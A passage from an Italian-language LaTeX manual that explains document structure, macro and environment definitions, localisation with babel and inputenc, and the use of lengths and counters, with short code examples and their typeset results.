  Definisce lo stile generale '**book**', specificando l'opzione '**a4paper,12pt**', che in pratica si traduce in due sotto-opzioni, distinte in base alla presenza della virgola.

- ```
  \newcommand{\dattilografico}[1]{\texttt{#1}}
  ```
  Questo è un comando un po' difficile da interpretare (serve a creare una macro di LaTeX), comunque si può osservare che appare un'opzione dopo un argomento e prima dell'ultimo argomento. È il caso di precisare che in questo momento, '**\dattilografico**' e '**\texttt{#1}**' sono solo stringhe che hanno un qualche valore per il comando '**\newcommand**'.

- ```
  \epsfig{file=prova,height=3cm,angle=0}
  ```
  Questo comando non riguarda direttamente LaTeX, ma proviene da un pacchetto che comunque lo accompagna. Come si può osservare, c'è solo un argomento, scomposto in tre sotto-argomenti separati da virgole.
  ```

62.1.3 Esempio iniziale

Prima di affrontare l'analisi della struttura del sorgente LaTeX, conviene vedere un esempio introduttivo abbastanza completo:

```
\documentclass{article}

% Inizia il preambolo.

\setlength{\textwidth}{11cm}
\setlength{\textheight}{11cm}

% Fine del preambolo.

\begin{document}

% Inizia il documento vero e proprio.

\section{Introduzione a \LaTeX}

Questo \`e un esempio di documento scritto con \LaTeX .
Come si pu\`o vedere \`e gi\`a stato definito uno stile
generale del documento: article.

\subsection{Suddivisione del documento}

Lo stile article prevede una suddivisione in sezioni
sottosezioni ed eventuali sotto-sottosezioni.

\subsection{Paragrafi}

Il testo di un paragrafo termina quando nel sorgente viene
incontrata una riga vuota (una riga bianca).

Questo \`e l'inizio di un nuovo paragrafo e si nota perch\'e
la prima riga \`e leggermente rientrata.

\subsection{Gli ambienti}

\LaTeX utilizza gli ambienti per definire dei comportamenti
circoscritti a zone particolari del testo.
Per esempio, la centratura si ottiene utilizzando l'ambiente
center.

\begin{center}
Questo \`e un esempio di testo centrato.
\end{center}

% Fine del documento.
```

```
\end{document}
```

Supponendo di attribuire a questo file il nome '`primo.tex`', si può procedere con la composizione nel modo seguente:

`$` **`latex primo`** [*Invio*]

Se non vengono rilevati errori, durante l'elaborazione si vedono diverse informazioni sul procedimento della composizione, come già descritto nella sezione 61.1.3 a proposito di TeX. Nello stesso modo di TeX vengono generati dei file contenenti informazioni e la composizione nel file '`primo.dvi`'. Ma a differenza di TeX puro e semplice, si ottiene anche il file '`primo.aux`', contenente delle porzioni di codice da riutilizzare nelle composizioni successive.

Il risultato della composizione di questo esempio si può vedere nella figura 62.11. La conversione del file DVI in qualcosa di più conveniente, è descritta nella sezione 29.3.

Figura 62.11. Il risultato della composizione del sorgente LaTeX di esempio.

1 Introduzione a LaTeX

Questo è un esempio di documento scritto con LaTeX. Come si può vedere è già stato definito uno stile generale del documento: article.

1.1 Suddivisione del documento

Lo stile article prevede una suddivisione in sezioni sottosezioni ed eventuali sotto-sottosezioni.

1.2 Paragrafi

Il testo di un paragrafo termina quando nel sorgente viene incontrata una riga vuota (una riga bianca).

Questo è l'inizio di un nuovo paragrafo e si nota perché la prima riga è leggermente rientrata.

1.3 Gli ambienti

LaTeXutilizza gli ambienti per definire dei comportamenti circoscritti a zone particolari del testo. Per esempio, la centratura si ottiene utilizzando l'ambiente center.

Questo è un esempio di testo centrato.

1

62.1.4 Sopravvivere nel caos

Nella sezione 61.1 è descritto in che modo si comporta TeX quando si presentano degli errori di composizione. Il pacchetto di macro che compone LaTeX aggiunge informazioni in fase di composizione. Per esempio, si può provare a realizzare un file contenente dei problemi, per vedere come si comporta LaTeX effettivamente:

```
\documentstyle{article}
\begin{document}
\section{Problemi con \LaTeX}
Quanti problemi con \LaTeX!
\end{document}
```

Leggendo il file delle registrazioni (il file con estensione '`.log`') si può trovare un avvertimento che riguarda il comando '**`\documentstyle`**', considerato superato e da non utilizzare.

```
         Entering LaTeX 2.09 COMPATIBILITY MODE
*************************************************************
   !!WARNING!!    !!WARNING!!    !!WARNING!!    !!WARNING!!

This mode attempts to provide an emulation of the LaTeX 2.09
author environment so that OLD documents can be successfully
processed. It should NOT be used for NEW documents!

New documents should use Standard LaTeX conventions and start
with the \documentclass command.

Compatibility mode is UNLIKELY TO WORK with LaTeX 2.09 style
files that change any internal macros, especially not with
those that change the FONT SELECTION or OUTPUT ROUTINES.

Therefore such style files MUST BE UPDATED to use
         Current Standard LaTeX: LaTeX2e.
If you suspect that you may be using such a style file, which
is probably very, very old by now, then you should attempt to
get it updated by sending a copy of this error message to the
author of that file.
*************************************************************
```

Un avvertimento non è niente di eccezionalmente grave, soprattutto se poi non pregiudica la riuscita della composizione. Ma un avvertimento può segnalare il sorgere di un problema che più avanti può aggravarsi e diventare insuperabile. Se nell'esempio mostrato sopra si aggiunge un comando incompatibile si arriva al punto di crisi.

```
\documentstyle{article}
\usepackage{epsfig}
\begin{document}
\section{Problemi con \LaTeX}
Quanti problemi con \LaTeX!
\end{document}
```

Come si vede, è stato aggiunto il comando '**\usepackage{epsfig}**', il cui scopo è solo quello di incorporare lo stile '`epsfig.sty`' che si trova da qualche parte, dove LaTeX può trovarlo.

Ciò che dovrebbe succedere è che lo stile richiesto sia incompatibile con una vecchia versione di LaTeX, oppure che sia incompatibile con il funzionamento che si impone a LaTeX quando si utilizza il comando '**\documentstyle**'.

```
! LaTeX Error: LaTeX2e command \usepackage in LaTeX 2.09 document.

See the LaTeX manual or LaTeX Companion for explanation.
Type  H <return>  for immediate help.
```

Ecco la segnalazione di errore. Fortunatamente, viene indicato precisamente il punto in cui appare l'errore, esattamente come succede con la composizione in TeX puro e semplice: si tratta proprio del comando '**\usepackage**' che appare nella riga numero due del testo sorgente.

```
l.2 \usepackage
               {epsfig}
```

Subito dopo appare l'invito consueto di TeX, che chiede all'utente di prendere una decisione al riguardo. Per il resto, tutto funziona come per TeX.

A differenza dell'utilizzo di TeX puro e semplice, può succedere che LaTeX mostri degli errori nell'ambito delle sue stesse macro, quando ci si spinge ai limiti delle possibilità di queste. Naturalmente, in questi casi occorre cercare il problema nelle istruzioni usate nel file sorgente, lasciando stare i file che compongono il pacchetto di macro di LaTeX.

62.1.5 Struttura essenziale di un documento LaTeX

Il sorgente di un documento scritto in TeX, utilizzando il pacchetto di macro LaTeX, ha una struttura che segue delle regole precise. La prima cosa a essere definita è il tipo di documento, ovvero lo stile generale a cui si vuole fare riferimento. A questo segue eventualmente un preambolo, cioè l'indicazione più o meno facoltativa di altri elementi stilistici insieme alle informazioni che servono a comporre il titolo del documento. Quindi inizia il documento vero e proprio.

Lo stile generale del documento viene definito all'inizio del sorgente LaTeX attraverso la dichiarazione seguente:

```
\documentclass[opzioni]{classe}
```

Per esempio:

```
\documentclass[a4paper,11pt]{book}
```

definisce l'uso della classe '**book**', utilizzando un foglio A4 con il corpo normale dei caratteri a 11 punti tipografici; mentre il comando

```
\documentclass{book}
```

definisce l'uso della classe '**book**', senza opzioni, che così viene impostata in modo predefinito.

Il preambolo è quella parte di sorgente LaTeX che sta tra la dichiarazione della classe (o dello stile generale) e la dichiarazione di inizio del documento. Normalmente viene usata per specificare l'utilizzo di stili aggiuntivi e per l'inserimento di tutti quegli elementi che compongono il titolo del documento e gli indici eventuali.

Una dichiarazione molto importante del preambolo è l'inclusione di uno stile aggiuntivo, secondo la sintassi seguente:

```
\usepackage[opzioni]{pacchetto}
```

Le opzioni utilizzabili dipendono dal tipo particolare di stile a cui si fa riferimento. Un file di stile può anche essere scritto dall'utilizzatore, solitamente partendo da un altro già esistente.

```
\usepackage[utf8x]{inputenc}
\usepackage[T1]{fontenc}
```

L'esempio mostra l'inclusione del pacchetto '**inputenc**' allo scopo di ammettere la codifica dei caratteri UTF-8 nel sorgente LaTeX, assieme al pacchetto '**fontenc**' per ottenere una composizione con un tipo di carattere che contenga le lettere accentate e i simboli speciali più importanti utilizzati in Europa.

Così come è possibile aggiungere altri stili, è possibile utilizzare direttamente delle dichiarazioni riferite a singoli elementi stilistici. Nell'esempio presentato all'inizio si utilizzavano due dichiarazioni:

```
\setlength{\textwidth}{11cm}
\setlength{\textheight}{11cm}
```

In questo caso, si definiva la larghezza e l'altezza del testo, senza fare riferimento a un formato standard.

Il preambolo serve anche per definire gli elementi che fanno parte del titolo del documento. Questi dipendono dal tipo di stile generale utilizzato, ma di solito comprendono almeno il titolo, l'autore e la data, come nell'esempio seguente:

```
\title{Usare \LaTeX}
\author{Pinco Pallino}
\date{11/11/2011}
```

L'inizio del documento è contrassegnato dalla dichiarazione '**\begin{document}**' e la fine da '**\end{document}**'. Tutto quello che appare dopo la conclusione del documento viene semplicemente ignorato.

Subito dopo l'apertura del documento viene collocata normalmente l'istruzione di creazione del titolo, '**\maketitle**', seguita eventualmente da quello di creazione dell'indice, '**\tableofcontents**'.

```
\begin{document}
\maketitle
\tableofcontents
…
…
\end{document}
```

Il corpo del documento può essere normalmente suddiviso, a seconda del tipo di classe utilizzato.

```
\livello_di_suddivisione [opzioni_eventuali] {titolo_della_suddivisione}
```

I nomi dei livelli di suddivisione possono essere i seguenti, elencati in ordine decrescente di importanza:

- '**part**'
- '**chapter**'
  (solo per le classi '**book**' e '**report**')
- '**section**'
- '**subsection**'
- '**subsubsection**'
- '**paragraph**'
- '**subparagraph**'

Per esempio,

```
\section{Introduzione a \LaTeX}
```

definisce l'inizio di una sezione che ha il titolo indicato tra le parentesi graffe.[1]

In particolare esiste un comando speciale, '**\appendix**' che viene utilizzato così, senza opzioni, esclusivamente per modificare il modo in cui vengono numerate le suddivisioni, che da quel punto vengono trattate come parte di un'appendice.

```
\chapter{Bla bla bla}
…
\appendix
\chapter{Appendice bla bla}
…
```

L'esempio mostra proprio questo: il capitolo denominato «Appendice bla bla» è la prima appendice.

62.1.6 Composizione per approssimazione successiva

Tra i vari automatismi offerti da LaTeX, esiste la possibilità di generare degli indici e dei riferimenti incrociati. Per ottenere questo risultato, LaTeX deve annotare inizialmente la posizione dei riferimenti da leggere poi in una fase successiva.

Queste annotazioni vengono fatte in file ausiliari, con estensione '.aux' e altre, che vengono letti automaticamente attraverso la ripetizione del processo di composizione. Osservando il file ausiliario principale generato dalla composizione dell'esempio iniziale, si può notare che si tratta di istruzioni LaTeX:

```
\relax
\@writefile{toc}{\contentsline {section}{\numberline ↩
↪{1}Introduzione a \LaTeX  }{1}}
\@writefile{toc}{\contentsline {subsection}{\numberline ↩
↪{1.1}Suddivisione del documento}{1}}
\@writefile{toc}{\contentsline {subsection}{\numberline ↩
↪{1.2}Paragrafi}{1}}
\@writefile{toc}{\contentsline {subsection}{\numberline ↩
↪{1.3}Gli ambienti}{1}}
```

Nel caso particolare dell'esempio mostrato, si tratta solo di istruzioni necessarie alla costruzione dell'indice generale; intuitivamente si comprende il significato dei dati che appaiono: il numero della sezione, il titolo e la pagina in cui si trova.

Gli indici e i riferimenti incrociati vanno a modificare l'impaginazione; si pensi al caso dell'indice generale, dapprima assente del tutto, che in una seconda fase può impegnare da solo più pagine. Pertanto, sono indispensabili tre rielaborazioni per arrivare a una composizione ragionevolmente corretta: la prima fase genera i dati che inizialmente sono assenti del tutto; la seconda incorpora i dati, che però si riferiscono all'impaginazione precedente, in cui mancavano, rigenerando una nuova serie di dati aggiornati; la terza rielaborazione utilizza i dati aggiornati nella seconda fase. Teoricamente, una quarta elaborazione potrebbe generare un risultato ancora più sicuro, che però di solito non risulta necessario.

È importante chiarire che LaTeX non dispone di un procedimento automatico in grado di avviare e riavviare la composizione per tutte le volte in cui ciò possa risultare necessario, pertanto è l'utente stesso che riavvia la composizione in base alle esigenze:

$ **latex** ***file_sorgente*** [*Invio*]

$ **latex** ***file_sorgente*** [*Invio*]

$ **latex** ***file_sorgente*** [*Invio*]

62.2 Personalizzazione

Come accennato all'inizio del capitolo, LaTeX mette a disposizione dei comandi appositi per la creazione di nuove macro. In queste sezioni viene mostrato come creare e ridefinire una macro di LaTeX e come importare un file di stile, ovvero un file contenente delle macro.

In particolare, negli esempi si fa riferimento spesso a comandi comuni di LaTeX che però non sono ancora stati descritti. In questa fase è sufficiente comprendere i meccanismi con cui si definiscono le macro e si utilizzano i file esterni.

62.2.1 Definizione e ridefinizione di macro

Nel momento in cui si lavora con documenti di grandi dimensioni, oppure si sta preparando una ***veste grafica*** per le proprie pubblicazioni, è importante creare una serie di istruzioni personalizzate per la creazione di ambienti, anche se queste non sono altro che una copia di istruzioni già esistenti. Il vantaggio di questo modo di procedere sta nella possibilità successiva di cambiare tutta la veste grafica semplicemente modificando il funzionamento delle istruzioni personalizzate.

LaTeX prevede anche la possibilità di ridefinire istruzioni già esistenti, ma in tal caso è importante attribuire un senso particolare (e personale) a quelle istruzioni.

L'istruzione '**`\newcommand`**' permette di creare un comando nuovo, mentre '**`\renewcommand`**' permette di ridefinirne uno già dichiarato in precedenza.

```
\newcommand{comando}[n_argomenti]{definizione}
```

```
\newcommand{comando}[n_argomenti][primo_argomento_fisso]{definizione}
```

```
\renewcommand{comando}[n_argomenti]{definizione}
```

```
\renewcommand{comando}[n_argomenti][primo_argomento_fisso]{definizione}
```

Se il comando può avere degli argomenti, è necessario indicarne la quantità, attraverso una sola cifra numerica da uno a nove; inoltre, è possibile specificare un contenuto fisso del primo argomento, che viene aggiunto al primo argomento della chiamata. Quando si prevedono degli argomenti, questi vengono inseriti nella stringa di definizione del comando utilizzando delle metavariabili nella forma '**#*n***', dove il numero rappresenta l'***n***-esimo argomento.

In generale, non c'è alcun motivo di usare la dichiarazione in cui si prevede un primo argomento fisso, dal momento che quel testo può essere inserito direttamente nella definizione del comando.

Una volta dichiarato o ridichiarato il comando, questo può essere utilizzato attraverso una sintassi riassumibile nel modo seguente, dove gli argomenti eventuali, appaiono tra parentesi graffe.

comando | *comando* {*argomento*}...

L'utilizzo più semplice, riguarda la definizione di un comando senza argomenti, come nell'esempio seguente, dove viene dichiarato '**\bftt**' il cui scopo è quello di iniziare l'uso di un carattere neretto e dattilografico.

```
\newcommand{\bftt}{\bfseries\ttfamily}
```

Come si vede, lo scopo è solo quello di sostituire a '**\bftt**', i comandi '**\bfseries**' e '**\ttfamily**'. Quello che segue è un esempio di come potrebbe essere utilizzato.

```
Il file \bftt mio-file \normalfont contiene...
```

Secondo l'esempio, la parola «mio-file» viene evidenziata in neretto e dattilografico, mentre subito dopo, attraverso il comando '**\normalfont**', riprende lo stile normale.

L'esempio seguente definisce un comando che richiede un argomento. Ciò che si ottiene serve a delimitare una zona in neretto dattilografico.

```
\newcommand{\bftt}[1]{\textbf{\texttt{#1}}}
```

Lo scopo è quello di sostituire al comando '**\bftt{...}**', i comandi '**\textbf{\texttt{...}}**'. Quello che segue è un esempio di come potrebbe essere utilizzato; si può osservare che in questo caso non occorre riconvertire il testo dopo la zona delimitata con le parentesi graffe.

```
Il file \bftt{mio-file} contiene...
```

L'esempio seguente, utilizzando sempre un solo argomento, ha lo scopo di replicarlo cambiandone leggermente lo stile.

```
\newcommand{\triplo}[1]{\textit{#1} \textbf{#1} \texttt{#1}}
```

Utilizzandolo nel modo seguente, si ottiene la ripetizione della parola «tanto» per tre volte, ognuna con uno stile differente: corsivo, neretto e dattilografico.

```
Ti amo \triplo{tanto}...
```

Prima di proseguire, vale la pena di vedere un esempio in cui si dichiara un comando che prevede l'uso di più argomenti.

```
\newcommand{\somma}[3]{\texttt{#1}+\texttt{#2}=\texttt{#3}}
```

Utilizzando il comando appena creato nel modo seguente, si ottiene esattamente il testo '**5+6=11**', dove i numeri sono in dattilografico e i segni sono composti con caratteri normali.

```
\somma{5}{6}{11}
```

Oltre a questo è possibile definire, o ridefinire, degli ambienti da utilizzare nei comandi '**\begin{...}**' e '**\end{...}**'. Per queste operazioni si utilizzano le istruzioni '**\newenvironment**' e '**\renewenvironment**'.

```
\newenvironment{ambiente}[n_argomenti]{def_iniziale}{def_finale}
```

```
\newenvironment{ambiente}[n_argomenti][argomento_predefinito]{def_iniziale}{def_finale}
```

```
\renewenvironment{ambiente}[n_argomenti]{def_iniziale}{def_finale}
```

Se la dichiarazione del nuovo ambiente può avere degli argomenti, è necessario indicarne il numero, attraverso una sola cifra numerica da uno a nove. Questi possono essere utilizzati **solo** nella definizione di inizio, attraverso le metavariabili '**#*n***'. Come nel caso della dichiarazione di un nuovo comando, è possibile specificare il primo argomento predefinito, da utilizzare nel caso non ne sia fornito alcuno.

Una volta dichiarato o ridefinito l'ambiente, questo può essere utilizzato attraverso una sintassi riassumibile nel modo seguente, dove gli argomenti eventuali, appaiono tra parentesi graffe.

```
\begin{ambiente}
testo_contenuto
...
\end{ambiente}
```

```
\begin{ambiente}{argomento}...
testo_contenuto
...
\end{ambiente}
```

L'utilizzo più semplice riguarda la definizione di un ambiente senza argomenti, come nell'esempio seguente, dove viene dichiarato l'ambiente '**\bftt**' il cui scopo è quello di iniziare l'uso di un carattere neretto e dattilografico.

```
\newenvironment{bftt}{\bfseries\ttfamily}{\normalfont}
```

Come si vede, si intende sostituire '**\begin{bftt}**' con il comando '**\bfseries\ttfamily**' e rimpiazzare '**\end{bftt}**' con il comando '**\normalfont**'.

62.2.2 File di stile

La personalizzazione di istruzioni LaTeX può avvenire all'interno del documento stesso, ma generalmente è preferibile creare un file di stile da includere con l'istruzione '**\usepackage{***file_di_stile***}**'.

Quando si crea un nuovo stile conviene fare una copia di uno di quelli già utilizzati da LaTeX e quindi modificarlo.

Quando si utilizza teTeX, questi file di stile dovrebbero trovarsi nella directory 'texmf/tex/latex/base/'.

62.3 Localizzazione

I problemi legati alla localizzazione del funzionamento di LaTeX riguardano in particolare i termini generati automaticamente dalla composizione (come *Chapter*, *Index* e simili) e la separazione in sillabe.

62.3.1 Terminologia

A seconda dello stile generale del documento che si scrive, quasi sempre, il risultato finale contiene parole inserite automaticamente da LaTeX. Questi termini sono definiti all'interno del file di stile che identifica la classe del documento.

Per modificare questo comportamento si può utilizzare uno stile aggiuntivo, scelto tra quelli contenuti nella directory 'texmf/tex/generic/babel/', oppure si può creare uno stile personalizzato in cui si ridefiniscono le istruzioni che dichiarano questi termini.

Lo stile aggiuntivo viene caricato normalmente con il comando seguente, posto nel preambolo del documento.

```
\usepackage[italian]{babel}
```

62.3.2 Sillabazione

La sillabazione è configurata attraverso il file 'texmf/tex/generic/config/language.dat', il quale a sua volta fa riferimento a file contenuti in 'texmf/tex/generic/hyphen/'.

Se all'interno di questo file sembra non essere attivata la sillabazione per la lingua italiana, conviene modificarlo attraverso il sistema di configurazione di TeX, descritto nella sezione 61.1.

Se la lingua italiana, o quella che interessa, risulta già attivata, oppure se è stata fatta la procedura per attivarla, si può controllare nel file 'texmf/web2c/latex.log', soprattutto per determinare il numero corrispondente che gli è stato assegnato. Se si trova una riga simile a quella seguente, significa che la sillabazione in italiano è disponibile.

```
\l@italian=\language3
```

62.3.3 Inconvenienti legati alla sillabazione

Se quello che si scrive è un documento tecnico pieno di termini che non fanno parte della lingua italiana, forse conviene disabilitare la sillabazione per evitare la suddivisione di termini stranieri in modo errato. Per farlo, dovrebbe essere sufficiente prevedere l'uso della sillabazione nulla (*nohyphenation*), attivandola nel documento esattamente come si farebbe per un linguaggio normale.

Per esempio, se nel file '`texmf/web2c/latex.log`' si trova la riga seguente,

```
\l@nohyphenation=\language4
```

molto probabilmente dovrebbe essere sufficiente utilizzare il comando '**`\language4`**' nel documento. Se però, per qualche ragione questo non dovesse funzionare, si possono sempre usare metodi drastici: configurare il file '`texmf/tex/generic/config/language.dat`' commentando tutte le direttive e annullando in ogni caso il sistema di sillabazione.

Eventualmente, se il problema è solo quello di evitare che qualche termine sia separato in sillabe, lo si può inserire in una scatola (come viene descritto meglio in seguito):

```
\mbox{parola}
```

62.3.4 Spaziatura orizzontale

Secondo una regola della tipografia del passato, ormai condannata generalmente, è necessario aumentare lo spazio che divide la fine di un periodo dall'inizio del successivo. Per qualche ragione si trovano ancora documenti in lingua inglese che seguono questa regola, anche quando si tratta di file di testo.

Purtroppo TeX segue quella filosofia e tende a rendere più grande lo spazio orizzontale che c'è tra un punto finale e la parola successiva se questa ha l'iniziale maiuscola. Oltre a tutto, questo sistema crea delle difficoltà nella scrittura degli acronimi o delle abbreviazioni. Si pone rimedio utilizzando anche con LaTeX il comando '**`\frenchspacing`**' nel preambolo del documento (si veda anche la sezione 61.12 a questo proposito).

62.3.5 Codifica

LaTeX permette l'uso di diverse codifiche, cioè diverse sequenze di simboli nei tipi di carattere utilizzati. Per la precisione, si distingue tra la codifica usata nel sorgente e il tipo di insieme di caratteri da usare. Nel primo caso, si usa normalmente il pacchetto '**`inputenc`**', nel modo seguente, all'interno del preambolo, in modo da stabilire l'uso della codifica UTF-8 nel sorgente:

```
\usepackage[utf8x]{inputenc}
```

Per quanto riguarda l'insieme di caratteri, il tipo più vecchio è OT1, definito anche *TeX text*; il più recente e più usato è T1, definito anche *TeX text extended*. L'utilizzo dell'insieme di caratteri T1 è necessario se si vuole scrivere un documento che nel sorgente fa uso delle lettere accentate delle lingue europee occidentali.

La selezione dell'insieme di caratteri TeX avviene attraverso il caricamento del pacchetto '**fontenc**', indicando come opzione la sigla dell'insieme desiderato.

```
\usepackage[T1]{fontenc}
```

L'esempio mostra il caricamento dell'insieme di caratteri T1, che è quello che dovrebbe essere utilizzato nella maggior parte dei casi.

62.3.6 Localizzazione in pratica

La definizione del sistema di sillabazione è sempre necessario, mentre si è accennato poco sopra al problema dei termini da tradurre. Il modo più semplice per risolvere il problema della localizzazione (dopo avere sistemato la sillabazione) è quello di utilizzare le istruzioni seguenti nel preambolo.

```
\documentclass…
…
\usepackage[italian]{babel}
\usepackage[utf8x]{inputenc}
\usepackage[T1]{fontenc}
\frenchspacing
…
\begin{document}
…
```

In questo modo, se è stata definita una sillabazione italiana, questa viene attivata automaticamente; i termini come «capitolo», «pagina»,... sono tradotti in italiano; la codifica del sorgente è UTF-8, avendo richiesto l'insieme di caratteri tipografici T1 (quindi il sorgente può essere scritto utilizzando le lettere accentate senza la necessità di utilizzare codici macro particolari).

Se per qualche ragione si vuole redigere un testo multilingua, è possibile utilizzare il pacchetto '**babel**' con l'indicazione di più linguaggi, come nel modo seguente:

```
\usepackage[italian,english]{babel}
```

Successivamente, per selezionarne uno, basta usare il comando '**\selectlanguage**', con il nome prescelto. Ciò ha effetto fino all'uso di un altro comando '**\selectlanguage**' che cambi tale indicazione.

```
…
\selectlanguage{italian}
…
\selectlanguage{english}
…
```

È importante non confondere '**\selectlanguage**' con '**\language*n***'. Nel primo caso si fa riferimento a un comando del pacchetto '**babel**'; nel secondo si fa riferimento alla sillabazione. Il primo è in grado di condizionare il secondo, ma non viceversa: non esiste un «linguaggio» corrispondente alla sillabazione nulla. Se si intende definire la sillabazione nulla occorre passare per un comando '**\language*n***' conforme.

62.4 Variabili e tipi di dati

Nella sezione 61.3 è descritto l'uso delle variabili nel linguaggio TeX, ma quando si usa LaTeX è bene utilizzare comandi appositi, ignorando la gestione che c'è a basso livello. A ogni modo, rimane la possibilità di usare l'istruzione '**\the**' per trasformare il contenuto di una variabile LaTeX in testo della composizione finale.

62.4.1 Lunghezze

Le variabili adibite a contenere le lunghezze, si creano secondo LaTeX attraverso il comando '**\newlength**':

```
\newlength\nome_lunghezza
```

Successivamente, si assegna un valore alle variabili di questo tipo con il comando '**\setlength**':

```
\setlength{\nome_lunghezza}{lunghezza}
```

Come per TeX, le lunghezze che si assegnano in questo modo a una variabile, possono essere rigide oppure elastiche, secondo la stessa notazione di TeX:

```
lunghezza_richiesta [plus lunghezza_in_estensione] [minus lunghezza_in_contrazione]
```

La lunghezza che costituisce il secondo argomento del comando '**\setlength**', può essere il comando corrispondente a una lunghezza già definita in precedenza; in questo modo si può salvare un valore da richiamare in un momento successivo, quando si intende variare temporaneamente la dimensione di una lunghezza già esistente. Per esempio:

```
\newlength\salvataggio
\setlength{\salvataggio}{\textwidth}
\setlength{\textwidth}{10cm}
...
\setlength{\textwidth}{\salvataggio}
```

Quanto appare sopra, mostra il salvataggio della lunghezza originale di '**\textwidth**' nella variabile '**\salvataggio**', quindi la modifica del valore di '**\textwidth**' temporaneamente, alla fine il ripristino del valore di '**\textwidth**' leggendo il contenuto di '**\salvataggio**'.

L'elenco seguente riepiloga i comandi utili per la creazione e la modifica delle lunghezze:

`\newlength\`***nome_lunghezza***	crea una lunghezza nuova, corrispondente al comando '**`\`*nome_lunghezza***';
`\setlength{\`***nome_lunghezza***`}{`***lunghezza***`}`	assegna alla lunghezza indicata il valore dell'ultimo argomento, che può essere sia una lunghezza rigida, sia una lunghezza elastica;
`\addtolength{\`***nome_lunghezza***`}{`***lunghezza_rigida***`}`	aggiunge alla lunghezza indicata il valore dell'ultimo argomento, che deve essere una lunghezza rigida;
`\settodepth{\`***nome_lunghezza***`}{`***testo***`}`	assegna alla lunghezza il valore della profondità del testo che appare come ultimo argomento;
`\settoheight{\`***nome_lunghezza***`}{`***testo***`}`	assegna alla lunghezza il valore dell'altezza del testo che appare come ultimo argomento;
`\settowidth{\`***nome_lunghezza***`}{`***testo***`}`	assegna alla lunghezza il valore della larghezza del testo che appare come ultimo argomento.

Figura 62.45. Dimensioni di una scatola.

scatola
altezza
base di riferimento
profondità

62.4.2 Contatori

LaTeX gestisce dei contatori a cui si accede attraverso parole chiave, nell'ambito di comandi che ne consentono la creazione, la modifica e la lettura. L'elenco seguente riguarda una parte dei comandi coinvolti nella gestione dei contatori:

Comando	Descrizione
`\newcounter{`***nome_contatore***`}[`***contatore_già_esistente***`]`	crea un contatore con il nome indicato, il cui valore viene azzerato ogni volta che quello opzionale (tra parentesi quadre) viene incrementato;
`\setcounter{`***nome_contatore***`}{`***valore***`}`	assegna il valore indicato al contatore (deve trattarsi di un valore intero, che eventualmente può essere negativo);
`\stepcounter{`***nome_contatore***`}`	incrementa il contatore di una singola unità e azzera eventualmente i contatori che dipendono da questo;
`\refstepcounter{`***nome_contatore***`}`	si comporta come '**`\stepcounter`**', con la differenza che coinvolge la creazione di un riferimento se seguito dal comando '**`\label`**';

Comando	Descrizione
`\addtocounter{`***nome_contatore***`}{`***valore***`}`	aggiunge al contatore il valore indicato (deve trattarsi di un valore intero, che eventualmente può essere negativo);
`\arabic{`***nome_contatore***`}`	traduce il valore del contatore in un numero arabo nella composizione finale;
`\the`***nome_contatore***	quando viene creato un contatore, si crea implicitamente questo comando, con il quale si ottiene il valore del contatore nella composizione finale, espresso in modo predefinito (di solito si tratta di un numero arabo);
`\alph{`***nome_contatore***`}`	traduce il valore del contatore in una lettera minuscola singola, pertanto si possono rappresentare solo valori da 1 a 26;
`\Alph{`***nome_contatore***`}`	traduce il valore del contatore in una lettera maiuscola singola, pertanto si possono rappresentare solo valori da 1 a 26;
`\roman{`***nome_contatore***`}`	traduce il valore del contatore in un numero romano con lettere minuscole, pertanto non si possono rappresentare valori negativi;
`\Roman{`***nome_contatore***`}`	traduce il valore del contatore in un numero romano con lettere maiuscole, pertanto non si possono rappresentare valori negativi;
`\fnsymbol{`***nome_contatore***`}`	traduce il valore del contatore in un simbolo, ma sono disponibili solo nove simboli, pertanto si rappresentano valori da 1 a 9;
`\value{`***nome_contatore***`}`	ottiene il valore del contatore, da usare all'interno di un'espressione (non riguarda la composizione).

Per esempio, si crea un contatore '**`prova`**' con il comando seguente, assegnandogli implicitamente il valore iniziale zero:

```
\newcounter{prova}
```

Al contatore è possibile assegnare esplicitamente un valore:

```
\setcounter{prova}{-35}
```

In alternativa, si può assegnare al contatore il valore di un contatore già esistente; in questo caso si assegna il valore del contatore della pagina:

```
\setcounter{prova}{\value{page}}
```

Infine, si può inserire il valore del contatore nella composizione finale, per esempio in forma di numero arabo normale:

```
\arabic{prova}
```

Per comprendere la dipendenza che ci può essere tra i contatori, viene proposto un esempio più articolato, seguito dal risultato che si ottiene con la composizione:

```
\newcounter{uno}
\newcounter{due}[uno]

\stepcounter{uno}

\theuno . \thedue

\stepcounter{due}

\theuno . \thedue

\stepcounter{due}

\theuno . \thedue

\stepcounter{uno}

\theuno . \thedue
```

Come si può notare, in questo caso è stata usata la forma '**`\the`*contatore***' per visualizzare il valore del contatore preso in esame:

1. 0
1. 1
1. 2
2. 0

Per quanto riguarda l'uso di '**`\refstepcounter`**', le cose si complicano e richiedono la conoscenza dei comandi '**`\label`**' e '**`\ref`**' (sezione 62.10). Qui viene mostrato un esempio che dovrebbe consentire una comprensione intuitiva della cosa:

```
\newcounter{prova}
\stepcounter{prova}
Il contatore ha raggiunto il valore \arabic{prova}.\par
\stepcounter{prova}
Il contatore ha raggiunto il valore \arabic{prova}.\par
\refstepcounter{prova}\label{qui}
Ciao.\par
\stepcounter{prova}
Il contatore ha raggiunto il valore \arabic{prova}.\par

Quando si mostrava la parola ``ciao'', il contatore aveva il valore
\ref{qui}.
```

Si osservi che in questo caso, avendo a che fare con riferimenti incrociati, la composizione

deve essere eseguita almeno due volte:

Il contatore ha raggiunto il valore 1.
Il contatore ha raggiunto il valore 2.
Ciao.
Il contatore ha raggiunto il valore 4.
Quando si mostrava la parola “ciao”, il contatore aveva il valore 3.

Il comando ‘**\the*contatore***’ può essere ridefinito, se si desidera ottenere una forma di visualizzazione standard differente:

```
\newcounter{prova}
\renewcommand{\theprova}{\Roman{prova}}
\stepcounter{prova}
Il contatore ha raggiunto il valore \theprova.\par
\stepcounter{prova}
Il contatore ha raggiunto il valore \theprova.\par
```

Il contatore ha raggiunto il valore I.
Il contatore ha raggiunto il valore II.

LaTeX definisce e gestisce automaticamente un certo numero di contatori, a cui può essere conveniente fare riferimento. La tabella seguente elenca i contatori predefiniti più importanti:

Contatore	Descrizione
`part`	contatore delle parti;
`chapter`	contatore dei capitoli;
`section`	contatore delle sezioni;
`subsection`	contatore delle sottosezioni;
`subsubsection`	contatore delle sotto-sottosezioni;
`paragraph`	contatore dei paragrafi;
`subparagraph`	contatore dei sottoparagrafi;
`page`	contatore delle pagine;
`equation`	contatore delle equazioni;
`figure`	contatore delle figure;
`table`	contatore delle tabelle;
`footnote`	contatore delle note a piè di pagina;

